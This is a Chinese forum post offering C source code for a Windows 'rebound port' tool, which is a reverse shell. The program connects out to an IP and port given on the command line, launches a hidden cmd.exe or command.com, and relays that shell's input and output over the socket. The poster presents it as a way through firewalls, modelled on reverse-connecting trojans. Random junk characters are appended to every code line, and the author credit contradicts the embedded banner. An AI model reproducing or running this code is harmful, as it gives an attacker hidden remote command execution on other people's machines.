社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3034阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7j@TW%FmV\  
%7hYl'83  
/* ============================== aA\v  
Rebound port in Windows NT |~uCLf>  
By wind,2006/7 L-$GQGk{  
===============================*/ *!B,|]wq=  
#include ^IC|3sr   
#include GV%ibqOpQj  
:x16N|z  
#pragma comment(lib,"wsock32.lib") |*8 J.H*r  
`+i<:,z-gs  
void OutputShell(); U${dWxC  
SOCKET sClient; &:Raf5G-E  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /y NU0/  
m:K/ )v*  
void main(int argc,char **argv) A2htD!3  
{ zvSfW# *  
WSADATA stWsaData; 6LUB3;g7  
int nRet; ;[%AeN5W  
SOCKADDR_IN stSaiClient,stSaiServer; CbwQ'c$}  
C~kw{g+|  
if(argc != 3) !v$hqNt7  
{ E Xo"F*gW  
printf("Useage:\n\rRebound DestIP DestPort\n"); \GBv@  
return; G;`+MgJ)  
} |nv8&L8  
5J1,Usm  
WSAStartup(MAKEWORD(2,2),&stWsaData); ](3=7!!J  
-u8 ma%JW  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ocJJc9  
gX]?`u  
stSaiClient.sin_family = AF_INET; -k!UcMWP  
stSaiClient.sin_port = htons(0); ld}- }W-cq  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O-q [#P  
4R}2H>VV%  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z${DW@o3  
{ &(irri_  
printf("Bind Socket Failed!\n"); |"\A5v|1  
return; 4fp}`U  
} 7!z0)Ai_>=  
!~PV\DQN  
stSaiServer.sin_family = AF_INET; 'BtvT[KM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j#.Aiy:,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2gukK8R$  
dd_n|x1  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i. 6c;KU  
{ Wc#4%kT  
printf("Connect Error!"); %n T!u!#  
return; 0<nk>o  
} 1@;Dn'  
OutputShell(); "){"{~  
} P;][i|x  
$,F1E VJ  
void OutputShell() '\=aSZVO  
{ E%2]c?N5  
char szBuff[1024]; V+-%$-w>  
SECURITY_ATTRIBUTES stSecurityAttributes; -I '#G D>  
OSVERSIONINFO stOsversionInfo; D8G5,s-.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;MR8E9  
STARTUPINFO stStartupInfo; f{G ^b&x  
char *szShell; AwUcU;"9>  
PROCESS_INFORMATION stProcessInformation; ;",W&HQbE  
unsigned long lBytesRead; !w{4FE74  
t#=W'HyW8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |+f@w/+  
1F{c5  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); SwXVa/9a"  
stSecurityAttributes.lpSecurityDescriptor = 0; Z`T]jm-3  
stSecurityAttributes.bInheritHandle = TRUE; =YOq0  
^e1@o\]  
/&_$+Iun  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MA6(VII  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VMXccT9i!  
b<n*wH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kq8.SvIb  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gwm!Pw j  
stStartupInfo.wShowWindow = SW_HIDE; X0.kQ  
stStartupInfo.hStdInput = hReadPipe; *%E4 ,(T  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Kejp7 okb  
P XKEqcQR  
GetVersionEx(&stOsversionInfo); d)1 d0ES  
SFv'qDA  
switch(stOsversionInfo.dwPlatformId) g1Ed:V]_  
{ -U.>K,M  
case 1: 9sJ=Nldq  
szShell = "command.com"; TkBHlTa"=  
break; gNUYHNzDM(  
default: FC@h6 \+a  
szShell = "cmd.exe"; qILb>#  
break; T\?$7$/V  
} .o8Sy2PaV  
J2adG+=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \| &KD  
N?`V;`[  
send(sClient,szMsg,77,0); WPI<SsLd  
while(1) . |%n"{  
{ 4A"3C  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ``4e&  
if(lBytesRead) xsu9DzPf&{  
{ :y'EIf  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <-;/,uu  
send(sClient,szBuff,lBytesRead,0); ,cE yV74  
} `,QcOkvbC  
else VK286[[fv  
{ @QteC@k  
lBytesRead=recv(sClient,szBuff,1024,0); _rM?g1}5j  
if(lBytesRead<=0) break; 2,aH1Xbex  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *,& 2?E8  
} J/LsL k  
} *IX<&u#  
v|\3FEu@  
return; aKjP{Z0k$  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八